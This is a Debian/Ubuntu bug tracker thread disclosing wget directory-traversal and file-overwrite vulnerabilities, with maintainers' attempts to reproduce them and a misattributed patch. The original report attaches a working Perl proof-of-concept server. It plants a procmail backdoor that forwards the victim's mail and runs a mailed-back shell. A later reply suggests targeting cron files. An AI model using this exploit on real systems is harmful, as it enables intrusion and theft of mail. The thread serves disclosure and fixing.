Bug #11036 “wget: Arbitrary file overwriting/appending/creating ...” : Bugs : wget package : Ubuntu

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2004-12-09:

#1

Automatically imported from Debian bug report #284875 http://bugs.debian.org/284875

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2004-12-09:

#2

Download full text (6.5 KiB)

Message-ID: <email address hidden>
Date: Thu, 9 Dec 2004 09:30:41 +0000
From: Jan Minar <email address hidden>
To: <email address hidden>
Subject: wget: Arbitrary file overwriting/appending/creating and other vulnerabilities

--4bRzO86E/ozDv8r1
Content-Type: multipart/mixed; boundary="C7zPtVaVf+AK4Oqc"
Content-Disposition: inline

--C7zPtVaVf+AK4Oqc
Content-Type: text/plain; charset=iso-8859-2
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Package: wget
Version: 1.8.1-6.1
Version: 1.9.1-8
Tags: security
Severity: grave

The most severe of these bugs is that wget(1) allows the remote attacker
to overwrite arbitrary files the user running wget has permissions to
(woody), or any files in and below the current directory (sarge), or,
with the help of DNS poisoning, in and below the parent directory
(sarge, woody). At the same time, wget is being widely used. That's
why the severity.

The 1.8 version severity is mainly a Debian issue, and we cannoct expect
it will be fixed upstream, as the code differs vastly between the
branches.

A cropped version of my BugTraq post follows:

(1) Wget doesn't know which files it is permitted to write to

Wget erroneously thinks that the current directory is a fair game, and
will happily write in any file in and below it. Malicious HTTP response
or malicious HTML file can redirect wget to a file that is vital to the
system, and wget will create/append/overwrite it.

$ cd /home/user
$ wget http://localhost/wgettrap.bashrc
-> .bashrc

(2) Wget doesn't sanitize the redirection data properly

Wget apparently has at least two methods of ``sanitizing'' the
potentially malicious data it receives from the HTTP stream, therefore a
malicious redirects can pass the check. We haven't find a way to trick
wget into writing above the parent directory, which doesn't mean it's
not possible.

# cd /root [1]
# wget -x http://localhost/wgettrap.redirect-1.9
-> ../lib/libc-2.2.5.so [2]

$ cd /foo/bar
$ wget -r http://localhost/wgettrap.redirect-1.8
$ -> ../../../../../../../../../home/jan/.bashrc [1]
-> ../../../../../../../../../var/www/jan/.htaccess

[1] If inetd is not running on the system, the user name can be
social-engineered, or guessed from preceding traffic.

[2] '..' must resolve to an IP address of the malicious server, or at
least to an address, provided that we will be able to stuff data in the
HTTP stream afterwards. The POC doesn't exploit this.

(3) Wget prints control characters to the terminal verbatim

Malicious HTTP response can overwrite parts of the terminal so that the
user will not notice anything wrong, or will believe the error was not
fatal. See the [1]Debian bug #261755 for details.

[1] http://bugs.debian.org/261755

(4) Just about any stupid hack will work with wget. %00 bytes (see the
POC) and other %-escaped control characters handling, symlink attacks:
=09
$ cd /tmp
$ ln -s index.html /path/to/foo
$ wget -x http://localhost/
-> /path/to/foo

------------------------------------------------------------------------
Reproduction
------------------------------------------------------------------------

A proof of concept is attache...

Message-ID: <20041209093041.GA16749@kontryhel.haltyr.dyndns.org>
Date: Thu, 9 Dec 2004 09:30:41 +0000
From: Jan Minar <jjminar@FastMail.FM>
To: submit@bugs.debian.org
Subject: wget: Arbitrary file overwriting/appending/creating and other vulnerabilities

--4bRzO86E/ozDv8r1
Content-Type: multipart/mixed; boundary="C7zPtVaVf+AK4Oqc"
Content-Disposition: inline

--C7zPtVaVf+AK4Oqc
Content-Type: text/plain; charset=iso-8859-2
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Package: wget
Version: 1.8.1-6.1
Version: 1.9.1-8
Tags: security
Severity: grave

The most severe of these bugs is that wget(1) allows the remote attacker
to overwrite arbitrary files the user running wget has permissions to
(woody), or any files in and below the current directory (sarge), or,
with the help of DNS poisoning, in and below the parent directory
(sarge, woody).  At the same time, wget is being widely used.  That's
why the severity.

The 1.8 version severity is mainly a Debian issue, and we cannoct expect
it will be fixed upstream, as the code differs vastly between the
branches.

A cropped version of my BugTraq post follows:

(1) Wget doesn't know which files it is permitted to write to

Wget erroneously thinks that the current directory is a fair game, and
will happily write in any file in and below it.  Malicious HTTP response
or malicious HTML file can redirect wget to a file that is vital to the
system, and wget will create/append/overwrite it.

$ cd /home/user
$ wget http://localhost/wgettrap.bashrc
	-> .bashrc

(2) Wget doesn't sanitize the redirection data properly

Wget apparently has at least two methods of ``sanitizing'' the
potentially malicious data it receives from the HTTP stream, therefore a
malicious redirects can pass the check.  We haven't find a way to trick
wget into writing above the parent directory, which doesn't mean it's
not possible.

# cd /root [1]
# wget -x http://localhost/wgettrap.redirect-1.9
	-> ../lib/libc-2.2.5.so   [2]

$ cd /foo/bar
$ wget -r http://localhost/wgettrap.redirect-1.8
$	-> ../../../../../../../../../home/jan/.bashrc	[1]
	-> ../../../../../../../../../var/www/jan/.htaccess

[1] If inetd is not running on the system, the user name can be
social-engineered, or guessed from preceding traffic.

[2] '..' must resolve to an IP address of the malicious server, or at
least to an address, provided that we will be able to stuff data in the
HTTP stream afterwards.  The POC doesn't exploit this.

(3) Wget prints control characters to the terminal verbatim

Malicious HTTP response can overwrite parts of the terminal so that the
user will not notice anything wrong, or will believe the error was not
fatal.  See the [1]Debian bug #261755 for details.

[1] http://bugs.debian.org/261755

(4) Just about any stupid hack will work with wget.  %00 bytes (see the
POC) and other %-escaped control characters handling, symlink attacks:
=09
	$ cd /tmp
	$ ln -s index.html /path/to/foo
	$ wget -x http://localhost/
		-> /path/to/foo

------------------------------------------------------------------------
Reproduction
------------------------------------------------------------------------

A proof of concept is attached.

See [1] the bug page for a proposal of how to solve this.

[1] http://wget-bugs.ferrara.linux.it/msg12

Cheers,
Jan.

--=20
 )^o-o^|    jabber: rdancer@NJS.NetLab.Cz
 | .v  K    e-mail: jjminar FastMail FM
 `  - .'     phone: +44(0)7981 738 696
  \ __/Jan     icq: 345 355 493
 __|o|__Min=E1=F8  irc: rdancer@IRC.FreeNode.Net

--C7zPtVaVf+AK4Oqc
Content-Type: text/plain; charset=iso-8859-2
Content-Disposition: attachment; filename="wgettrap.poc"
Content-Transfer-Encoding: quoted-printable

#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min=C3=A1=C5=99 (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that =
wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username 'ja=
n'
# 8-)).

use POSIX qw(strftime);

# This is our scheme/host/port
$server =3D "http://localhost:31340";
# Use this + DNS poisoning with wget 1.9 & CVS
#$server =3D "http://..";

# Wanna know who got infected?=20
#$log =3D "/dev/pts/1";

# The filename we will try to overwrite on the target system
$filename =3D "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";

############### Payload #########################################
$email =3D 'your@mailbox';
$password =3D 'Pmrpuf ner cevzvgvirf';
$payload =3D <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################

# A simple directory traversal, for greater effect
$trick =3D "/.." . "%2f.." x 40;

open LOG, ">$log" if $log;

while(<STDIN>){
	print LOG $_ if $log;
	if (/\Q$trick$filename\E/) {
	#if (/%2f/) {
		# We see the filename, so this is the second time
		# they're here.  Time to feed the sploit.
		$second++;
	} elsif (/^Range: bytes=3D$33$-/) {
		# Appending goes like this:
		# (1) Tell'em what you're gonna tell'em
		# (2) Then tell'em just a half
		# (3) Close it
		# (4) Wait
		# (5) They're comin' back, with wget -c
		# (6) Tell'em the sploit
		# (7) Close again
		# (8) Wtf? They're comin' back with wget -c again
		# (9) Tell'em the rest...
		# (10) ... enjoying the backdoor at the same time
		print LOG "File if $1 bytes long\n" if $log;
	} elsif (/^\r?$/) {
		# The HTTP headers are over.  Let's do it!
		$date =3D strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
		if (!$second) {
			# Print the payload
			print <<EOT;
HTTP/1.1 301 Moved Permanently\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Location: $server$trick$filename\r
Content-Length: 43\r
Connection: close\r
Content-Type: text/html\r
\r
<html><head><title></title></head></html>\r
EOT
		} else {
			# Print the redirection
			print <<EOT;
HTTP/1.1 200 OK\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Content-Length: 25\r
Connection: close\r
Content-Type: text/plain\r
\r
$payload
EOT
		}
		exit 0;
	}
}

--C7zPtVaVf+AK4Oqc--

--4bRzO86E/ozDv8r1
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQFBuBtB+uczK20Fa5cRAq2lAJsEtBIuXFJBg1Q30oo1mYSYIjTbmACgom0x
rf3D8UDKqrK4UI3ymUxxFa4=
=jkFu
-----END PGP SIGNATURE-----

--4bRzO86E/ozDv8r1--

Revision history for this message

In Debian Bug tracker #284875, Noël Köthe (noel) wrote on 2004-12-19: wget bugs

#3

tags 284875 + upstream
forwarded 284875 http://wget-bugs.ferrara.linux.it/issue11
forwarded 284550 http://wget-bugs.ferrara.linux.it/issue10

--
Noèl Köthe <noel debian.org>
Debian GNU/Linux, www.debian.org

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2004-12-19:

#4

Message-Id: <email address hidden>
Date: Sun, 19 Dec 2004 22:57:08 +0100
From: =?ISO-8859-1?Q?No=E8l_K=F6the?= <email address hidden>
To: <email address hidden>
Subject: wget bugs

--=-svq4+YQV4O4/37MJzri8
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

tags 284875 + upstream
forwarded 284875 http://wget-bugs.ferrara.linux.it/issue11
forwarded 284550 http://wget-bugs.ferrara.linux.it/issue10

--=20
No=C3=A8l K=C3=B6the <noel debian.org>
Debian GNU/Linux, www.debian.org

--=-svq4+YQV4O4/37MJzri8
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Dies ist ein digital signierter Nachrichtenteil

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iD8DBQBBxfk09/DnDzB9Vu0RAjIPAJ43dSm1vb/+RWgVZ11Kvofr8Ql71QCggih2
etZ0sLwMpadvhzl4POnckX8=
=RT8K
-----END PGP SIGNATURE-----

--=-svq4+YQV4O4/37MJzri8--

Revision history for this message

In Debian Bug tracker #284875, Oliver Oberlach (oliver-oberlach) wrote on 2004-12-20: Patch for security problem is in CVS

#5

Hi!

There is a patch in CVS:

http://cvs.sunsite.dk/viewcvs.cgi/wget/src/ftp-ls.c.diff?r1=1.27&r2=1.28&sortby=date&diff_format=u

--- wget/src/ftp-ls.c 2003/12/14 13:35:27 1.27
+++ wget/src/ftp-ls.c 2004/12/09 01:20:39 1.28
@@ -456,11 +456,14 @@
        /* First column: mm-dd-yy. Should atoi() on the month fail, january
    will be assumed. */
        tok = strtok(line, "-");
+ if (tok == NULL) continue;
        month = atoi(tok) - 1;
        if (month < 0) month = 0;
        tok = strtok(NULL, "-");
+ if (tok == NULL) continue;
        day = atoi(tok);
        tok = strtok(NULL, " ");
+ if (tok == NULL) continue;
        year = atoi(tok);
        /* Assuming the epoch starting at 1.1.1970 */
        if (year <= 70) year += 100;
@@ -468,8 +471,10 @@
        /* Second column: hh:mm[AP]M, listing does not contain value for
           seconds */
        tok = strtok(NULL, ":");
+ if (tok == NULL) continue;
        hour = atoi(tok);
        tok = strtok(NULL, "M");
+ if (tok == NULL) continue;
        min = atoi(tok);
        /* Adjust hour from AM/PM. Just for the record, the sequence goes
           11:00AM, 12:00PM, 01:00PM ... 11:00PM, 12:00AM, 01:00AM . */
@@ -499,7 +504,9 @@
           directories as the listing does not give us a clue) and filetype
           here. */
        tok = strtok(NULL, " ");
- while (*tok == '\0') tok = strtok(NULL, " ");
+ if (tok == NULL) continue;
+ while ((tok != NULL) && (*tok == '\0')) tok = strtok(NULL, " ");
+ if (tok == NULL) continue;
        if (*tok == '<')
   {
     cur.type = FT_DIRECTORY;
@@ -680,6 +687,7 @@
        /* Third/Second column: Date DD-MMM-YYYY. */

        tok = strtok(NULL, "-");
+ if (tok == NULL) continue;
        DEBUGP(("day: '%s'\n",tok));
        day = atoi(tok);
        tok = strtok(NULL, "-");
@@ -697,11 +705,13 @@
        /* Uknown months are mapped to January */
        month = i % 12 ;
        tok = strtok (NULL, " ");
+ if (tok == NULL) continue;
        year = atoi (tok) - 1900;
        DEBUGP(("date parsed\n"));

        /* Fourth/Third column: Time hh:mm[:ss] */
        tok = strtok (NULL, " ");
+ if (tok == NULL) continue;
        hour = min = sec = 0;
        p = tok;
        hour = atoi (p);
@@ -732,10 +742,12 @@
        /* Skip the fifth column */

tok = strtok(NULL, " ");
+ if (tok == NULL) continue;

/* Sixth column: Permissions */

        tok = strtok(NULL, ","); /* Skip the VMS-specific SYSTEM
permissons */
+ if (tok == NULL) continue;
        tok = strtok(NULL, ")");
        if (tok == NULL)
          {

Can you please integrate the fix into woody and sarge, since
I believe many people need this utility (at least I use it
very much). If you want me to debianize the patch, get back
to me.

Thanks a lot,

Oliver

--
-----------------------------------------------
Oliver Oberlach
telematis Netzwerke GmbH
mailto: <email address hidden>
Siemensstrasse 23, D-76275 Ettlingen
Tel: +49 (0) 7243-3448-0, Fax: -498
visit us: http://altenis.de
-----------------------------------------------

Hi!

There is a patch in CVS:

http://cvs.sunsite.dk/viewcvs.cgi/wget/src/ftp-ls.c.diff?r1=1.27&r2=1.28&sortby=date&diff_format=u

--- wget/src/ftp-ls.c	2003/12/14 13:35:27	1.27
+++ wget/src/ftp-ls.c	2004/12/09 01:20:39	1.28
@@ -456,11 +456,14 @@
        /* First column: mm-dd-yy. Should atoi() on the month fail, january
  	 will be assumed.  */
        tok = strtok(line, "-");
+      if (tok == NULL) continue;
        month = atoi(tok) - 1;
        if (month < 0) month = 0;
        tok = strtok(NULL, "-");
+      if (tok == NULL) continue;
        day = atoi(tok);
        tok = strtok(NULL, " ");
+      if (tok == NULL) continue;
        year = atoi(tok);
        /* Assuming the epoch starting at 1.1.1970 */
        if (year <= 70) year += 100;
@@ -468,8 +471,10 @@
        /* Second column: hh:mm[AP]M, listing does not contain value for
           seconds */
        tok = strtok(NULL,  ":");
+      if (tok == NULL) continue;
        hour = atoi(tok);
        tok = strtok(NULL,  "M");
+      if (tok == NULL) continue;
        min = atoi(tok);
        /* Adjust hour from AM/PM. Just for the record, the sequence goes
           11:00AM, 12:00PM, 01:00PM ... 11:00PM, 12:00AM, 01:00AM . */
@@ -499,7 +504,9 @@
           directories as the listing does not give us a clue) and filetype
           here. */
        tok = strtok(NULL, " ");
-      while (*tok == '\0')  tok = strtok(NULL, " ");
+      if (tok == NULL) continue;
+      while ((tok != NULL) && (*tok == '\0'))  tok = strtok(NULL, " ");
+      if (tok == NULL) continue;
        if (*tok == '<')
  	{
  	  cur.type  = FT_DIRECTORY;
@@ -680,6 +687,7 @@
        /* Third/Second column: Date DD-MMM-YYYY. */

tok = strtok(NULL, "-");
+      if (tok == NULL) continue;
        DEBUGP(("day: '%s'\n",tok));
        day = atoi(tok);
        tok = strtok(NULL, "-");
@@ -697,11 +705,13 @@
        /* Uknown months are mapped to January */
        month = i % 12 ;
        tok = strtok (NULL, " ");
+      if (tok == NULL) continue;
        year = atoi (tok) - 1900;
        DEBUGP(("date parsed\n"));

/* Fourth/Third column: Time hh:mm[:ss] */
        tok = strtok (NULL, " ");
+      if (tok == NULL) continue;
        hour = min = sec = 0;
        p = tok;
        hour = atoi (p);
@@ -732,10 +742,12 @@
        /* Skip the fifth column */

tok = strtok(NULL, " ");
+      if (tok == NULL) continue;

/* Sixth column: Permissions */

tok = strtok(NULL, ","); /* Skip the VMS-specific SYSTEM 
permissons */
+      if (tok == NULL) continue;
        tok = strtok(NULL, ")");
        if (tok == NULL)
          {

Can you please integrate the fix into woody and sarge, since
I believe many people need this utility (at least I use it
very much). If you want me to debianize the patch, get back
to me.

Thanks a lot,

Oliver

-- 
-----------------------------------------------
Oliver Oberlach
telematis Netzwerke GmbH
mailto:    oliver.oberlach@altenis.de
            Siemensstrasse 23, D-76275 Ettlingen
            Tel: +49 (0) 7243-3448-0, Fax: -498
visit us:  http://altenis.de
-----------------------------------------------

Revision history for this message

In Debian Bug tracker #284875, Oliver Oberlach (oliver-oberlach) wrote on 2004-12-20: Patch for different bug, so sorry

#6

Sorry, the fix I reported earlier is actually
for a different bug. (279901, which has the
bug already attached). Egg on my face :-(

In the Bug Tracker at wget-bugs.ferrara.linux.it
the bug is "deferred" and a comment says, it's long
fixed.

I could not find anything in the ChangeLog.

Thank you and best regards,

Oliver

--
-----------------------------------------------
Oliver Oberlach
telematis Netzwerke GmbH
mailto: <email address hidden>
Siemensstrasse 23, D-76275 Ettlingen
Tel: +49 (0) 7243-3448-0, Fax: -498
visit us: http://altenis.de
-----------------------------------------------

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2004-12-20:

#7

Download full text (3.3 KiB)

Message-ID: <email address hidden>
Date: Mon, 20 Dec 2004 22:22:18 +0100
From: Oliver Oberlach <email address hidden>
To: <email address hidden>
Subject: Patch for security problem is in CVS

Hi!

There is a patch in CVS:

http://cvs.sunsite.dk/viewcvs.cgi/wget/src/ftp-ls.c.diff?r1=1.27&r2=1.28&sortby=date&diff_format=u

--- wget/src/ftp-ls.c 2003/12/14 13:35:27 1.27
+++ wget/src/ftp-ls.c 2004/12/09 01:20:39 1.28
@@ -456,11 +456,14 @@
        /* First column: mm-dd-yy. Should atoi() on the month fail, january
    will be assumed. */
        tok = strtok(line, "-");
+ if (tok == NULL) continue;
        month = atoi(tok) - 1;
        if (month < 0) month = 0;
        tok = strtok(NULL, "-");
+ if (tok == NULL) continue;
        day = atoi(tok);
        tok = strtok(NULL, " ");
+ if (tok == NULL) continue;
        year = atoi(tok);
        /* Assuming the epoch starting at 1.1.1970 */
        if (year <= 70) year += 100;
@@ -468,8 +471,10 @@
        /* Second column: hh:mm[AP]M, listing does not contain value for
           seconds */
        tok = strtok(NULL, ":");
+ if (tok == NULL) continue;
        hour = atoi(tok);
        tok = strtok(NULL, "M");
+ if (tok == NULL) continue;
        min = atoi(tok);
        /* Adjust hour from AM/PM. Just for the record, the sequence goes
           11:00AM, 12:00PM, 01:00PM ... 11:00PM, 12:00AM, 01:00AM . */
@@ -499,7 +504,9 @@
           directories as the listing does not give us a clue) and filetype
           here. */
        tok = strtok(NULL, " ");
- while (*tok == '\0') tok = strtok(NULL, " ");
+ if (tok == NULL) continue;
+ while ((tok != NULL) && (*tok == '\0')) tok = strtok(NULL, " ");
+ if (tok == NULL) continue;
        if (*tok == '<')
   {
     cur.type = FT_DIRECTORY;
@@ -680,6 +687,7 @@
        /* Third/Second column: Date DD-MMM-YYYY. */

        tok = strtok(NULL, "-");
+ if (tok == NULL) continue;
        DEBUGP(("day: '%s'\n",tok));
        day = atoi(tok);
        tok = strtok(NULL, "-");
@@ -697,11 +705,13 @@
        /* Uknown months are mapped to January */
        month = i % 12 ;
        tok = strtok (NULL, " ");
+ if (tok == NULL) continue;
        year = atoi (tok) - 1900;
        DEBUGP(("date parsed\n"));

        /* Fourth/Third column: Time hh:mm[:ss] */
        tok = strtok (NULL, " ");
+ if (tok == NULL) continue;
        hour = min = sec = 0;
        p = tok;
        hour = atoi (p);
@@ -732,10 +742,12 @@
        /* Skip the fifth column */

tok = strtok(NULL, " ");
+ if (tok == NULL) continue;

/* Sixth column: Permissions */

        tok = strtok(NULL, ","); /* Skip the VMS-specific SYSTEM
permissons */
+ if (tok == NULL) continue;
        tok = strtok(NULL, ")");
        if (tok == NULL)
          {

Can you please integrate the fix into woody and sarge, since
I believe many people need this utility (at least I use it
very much). If you want me to debianize the patch, get back
to me.

Thanks a lot,

Oliver

--
-----------------------------------------------
Oliver Oberlach
telematis Netzwerke GmbH
mailto: <email address hidden>
Siemensstras...

Message-ID: <41C7428A.50909@telematis.de>
Date: Mon, 20 Dec 2004 22:22:18 +0100
From: Oliver Oberlach <oliver.oberlach@telematis.de>
To: 284875@bugs.debian.org
Subject: Patch for security problem is in CVS

Hi!

There is a patch in CVS:

http://cvs.sunsite.dk/viewcvs.cgi/wget/src/ftp-ls.c.diff?r1=1.27&r2=1.28&sortby=date&diff_format=u

--- wget/src/ftp-ls.c	2003/12/14 13:35:27	1.27
+++ wget/src/ftp-ls.c	2004/12/09 01:20:39	1.28
@@ -456,11 +456,14 @@
        /* First column: mm-dd-yy. Should atoi() on the month fail, january
  	 will be assumed.  */
        tok = strtok(line, "-");
+      if (tok == NULL) continue;
        month = atoi(tok) - 1;
        if (month < 0) month = 0;
        tok = strtok(NULL, "-");
+      if (tok == NULL) continue;
        day = atoi(tok);
        tok = strtok(NULL, " ");
+      if (tok == NULL) continue;
        year = atoi(tok);
        /* Assuming the epoch starting at 1.1.1970 */
        if (year <= 70) year += 100;
@@ -468,8 +471,10 @@
        /* Second column: hh:mm[AP]M, listing does not contain value for
           seconds */
        tok = strtok(NULL,  ":");
+      if (tok == NULL) continue;
        hour = atoi(tok);
        tok = strtok(NULL,  "M");
+      if (tok == NULL) continue;
        min = atoi(tok);
        /* Adjust hour from AM/PM. Just for the record, the sequence goes
           11:00AM, 12:00PM, 01:00PM ... 11:00PM, 12:00AM, 01:00AM . */
@@ -499,7 +504,9 @@
           directories as the listing does not give us a clue) and filetype
           here. */
        tok = strtok(NULL, " ");
-      while (*tok == '\0')  tok = strtok(NULL, " ");
+      if (tok == NULL) continue;
+      while ((tok != NULL) && (*tok == '\0'))  tok = strtok(NULL, " ");
+      if (tok == NULL) continue;
        if (*tok == '<')
  	{
  	  cur.type  = FT_DIRECTORY;
@@ -680,6 +687,7 @@
        /* Third/Second column: Date DD-MMM-YYYY. */

tok = strtok(NULL, "-");
+      if (tok == NULL) continue;
        DEBUGP(("day: '%s'\n",tok));
        day = atoi(tok);
        tok = strtok(NULL, "-");
@@ -697,11 +705,13 @@
        /* Uknown months are mapped to January */
        month = i % 12 ;
        tok = strtok (NULL, " ");
+      if (tok == NULL) continue;
        year = atoi (tok) - 1900;
        DEBUGP(("date parsed\n"));

/* Fourth/Third column: Time hh:mm[:ss] */
        tok = strtok (NULL, " ");
+      if (tok == NULL) continue;
        hour = min = sec = 0;
        p = tok;
        hour = atoi (p);
@@ -732,10 +742,12 @@
        /* Skip the fifth column */

tok = strtok(NULL, " ");
+      if (tok == NULL) continue;

/* Sixth column: Permissions */

tok = strtok(NULL, ","); /* Skip the VMS-specific SYSTEM 
permissons */
+      if (tok == NULL) continue;
        tok = strtok(NULL, ")");
        if (tok == NULL)
          {

Can you please integrate the fix into woody and sarge, since
I believe many people need this utility (at least I use it
very much). If you want me to debianize the patch, get back
to me.

Thanks a lot,

Oliver

-- 
-----------------------------------------------
Oliver Oberlach
telematis Netzwerke GmbH
mailto:    oliver.oberlach@altenis.de
            Siemensstrasse 23, D-76275 Ettlingen
            Tel: +49 (0) 7243-3448-0, Fax: -498
visit us:  http://altenis.de
-----------------------------------------------

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2004-12-20:

#8

Message-ID: <email address hidden>
Date: Mon, 20 Dec 2004 22:33:23 +0100
From: Oliver Oberlach <email address hidden>
To: <email address hidden>
Subject: Patch for different bug, so sorry

Sorry, the fix I reported earlier is actually
for a different bug. (279901, which has the
bug already attached). Egg on my face :-(

In the Bug Tracker at wget-bugs.ferrara.linux.it
the bug is "deferred" and a comment says, it's long
fixed.

I could not find anything in the ChangeLog.

Thank you and best regards,

Oliver

--
-----------------------------------------------
Oliver Oberlach
telematis Netzwerke GmbH
mailto: <email address hidden>
Siemensstrasse 23, D-76275 Ettlingen
Tel: +49 (0) 7243-3448-0, Fax: -498
visit us: http://altenis.de
-----------------------------------------------

Revision history for this message

In Debian Bug tracker #284875, Andreas Barth (aba) wrote on 2005-01-04: wget - solving strategies

#9

reopen 261755
tag 261755 +sarge
thanks

Hi,

just a few annotation from me on how to make wget reach sarge. IMHO,
the current patch to 261755 is _not_ acceptable for inclusion into a
stable release, because it is too clumpsy. It is of no use to filter the
printout to the console (after adding localized characters), but the
sanitation should take part of the input stream.

Therefore, IMHO the right fix to the other bug is a prerequisite to be
able to finally release with a good version of wget.

Some annotations to the listed bugs:

Can (1) really happen in a normal scenario? According to the man page
  When running Wget without -N, -nc, or -r, downloading the same file in
  the same directory will result in the original copy of file being
  preserved and the second copy being named file.1.
So, this case will happen only if -r is specified. (Or is wget buggy to
allow the remote side to overwrite that documented behaviour?)

(2) seems to happen _exactly_ when the hostnames are created in the
directory hierarchy. This needs tackling.

(3) see my comment above.

(4) needs probably be discussed a bit more.

Cheers,
Andi
--
http://home.arcor.de/andreas-barth/
PGP 1024/89FB5CE5 DC F1 85 6D A6 45 9C 0F 3B BE F1 D0 C5 D1 D9 0C

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2005-01-04:

#10

Message-ID: <email address hidden>
Date: Tue, 4 Jan 2005 22:03:27 +0100
From: Andreas Barth <email address hidden>
To: <email address hidden>, <email address hidden>
Subject: wget - solving strategies

reopen 261755
tag 261755 +sarge
thanks

Hi,

just a few annotation from me on how to make wget reach sarge. IMHO,
the current patch to 261755 is _not_ acceptable for inclusion into a
stable release, because it is too clumpsy. It is of no use to filter the
printout to the console (after adding localized characters), but the
sanitation should take part of the input stream.

Therefore, IMHO the right fix to the other bug is a prerequisite to be
able to finally release with a good version of wget.

Some annotations to the listed bugs:

Can (1) really happen in a normal scenario? According to the man page
  When running Wget without -N, -nc, or -r, downloading the same file in
  the same directory will result in the original copy of file being
  preserved and the second copy being named file.1.
So, this case will happen only if -r is specified. (Or is wget buggy to
allow the remote side to overwrite that documented behaviour?)

(2) seems to happen _exactly_ when the hostnames are created in the
directory hierarchy. This needs tackling.

(3) see my comment above.

(4) needs probably be discussed a bit more.

Cheers,
Andi
--
http://home.arcor.de/andreas-barth/
PGP 1024/89FB5CE5 DC F1 85 6D A6 45 9C 0F 3B BE F1 D0 C5 D1 D9 0C

Revision history for this message

In Debian Bug tracker #284875, Lars Wirzenius (liw-iki) wrote on 2005-02-04: wget security problem: trouble replicating

#11

I had a look at Debian bug 284875, "wget: Arbitrary file
overwriting/appending/creating and other vulnerabilities", specifically
about points (1) and (2) therein. I set up the proof of concept Perl
script to run via inetd, which I think is a working way of setting it
up. The script responds to HTTP queries and does, I think, respond in
the way to trigger the exploit. Lynx and wget both follow the
redirections.

I can't, however, replicate the points (1) and (2) using version
1.9.1-10 in Debian sid. Instead of overwriting or appending or other bad
things happening, wget seems to only create a file with ".1" (or ".2"
etc) appended to the filename. The same happens with 1.9.1-8 in Debian
sarge.

Jan, could you clarify how to replicate these two points? More detailed
steps, a typescript (from script(1)) of a terminal session where you do
it, or something like that?

(I haven't looked at points (3) and (4) yet, I'll do that later.)

Revision history for this message

In Debian Bug tracker #284875, Lars Wirzenius (liw-iki) wrote on 2005-02-05: wget security problem: more reproduction problems

#12

Hi,

I've looked again at Debian bug #284875 and I can't see how to reproduce
the fourth part, either:

> (4) Just about any stupid hack will work with wget. %00 bytes (see the
> POC) and other %-escaped control characters handling, symlink attacks:
>
> $ cd /tmp
> $ ln -s index.html /path/to/foo
> $ wget -x http://localhost/
> -> /path/to/foo

In my tests wget does sanitize the input, so these attacks would seem to
be fruitless. Could you explain in further detail how to reproduce this?

Revision history for this message

In Debian Bug tracker #284875, Lars Wirzenius (liw-esme) wrote on 2005-02-05: tagging 284875

#13

tags 284875 + unreproducible

Revision history for this message

In Debian Bug tracker #284875, Jan Minar (jjminar) wrote on 2005-02-05: Re: Bug#284875: wget security problem: trouble replicating

#14

On Fri, Feb 04, 2005 at 02:57:12AM +0200, Lars Wirzenius wrote:
> I had a look at Debian bug 284875, "wget: Arbitrary file
> overwriting/appending/creating and other vulnerabilities", specifically
> about points (1) and (2) therein. I set up the proof of concept Perl
> script to run via inetd, which I think is a working way of setting it
> up. The script responds to HTTP queries and does, I think, respond in
> the way to trigger the exploit. Lynx and wget both follow the
> redirections.

> I can't, however, replicate the points (1) and (2) using version
> 1.9.1-10 in Debian sid. Instead of overwriting or appending or other bad
> things happening, wget seems to only create a file with ".1" (or ".2"
> etc) appended to the filename. The same happens with 1.9.1-8 in Debian
> sarge.

Anybody wanting to fix this will sooner or later need to RTFM -- no pun
intended; the options are really hairy, and many of them have one or
another bearing on this.

The trick is to use the -c or -N options. Also note that -x can be used
instead of -r. See the discussion in the manpage under the `-nc'
option.

On the server (exploiter's) side, you might use a filename that is highly unlikely to
be present on the target system, yet is highly likely to be executed
(/etc/cron.d/<sufficiently long number number> comes to mind). Note
that it is possible to make an educated guess about the presence/absence
of -c, -N, and -r options.

Cheers,
Jan.
--
)^o-o^| jabber: <email address hidden>
| .v K e-mail: jjminar FastMail FM
` - .' phone: +44(0)7981 738 696
\ __/Jan icq: 345 355 493
__|o|__Minář irc: <email address hidden>

Revision history for this message

In Debian Bug tracker #284875, Jan Minar (jjminar) wrote on 2005-02-05: Re: Bug#284875: wget security problem: more reproduction problems

#15

On Sat, Feb 05, 2005 at 02:41:35AM +0200, Lars Wirzenius wrote:
> I've looked again at Debian bug #284875 and I can't see how to reproduce
> the fourth part, either:
>
> > (4) Just about any stupid hack will work with wget. %00 bytes (see the
> > POC) and other %-escaped control characters handling, symlink attacks:
> >
> > $ cd /tmp
> > $ ln -s index.html /path/to/foo
> > $ wget -x http://localhost/
> > -> /path/to/foo
>
> In my tests wget does sanitize the input, so these attacks would seem to
> be fruitless. Could you explain in further detail how to reproduce this?

Which version? What command exactly?

--
)^o-o^| jabber: <email address hidden>
| .v K e-mail: jjminar FastMail FM
` - .' phone: +44(0)7981 738 696
\ __/Jan icq: 345 355 493
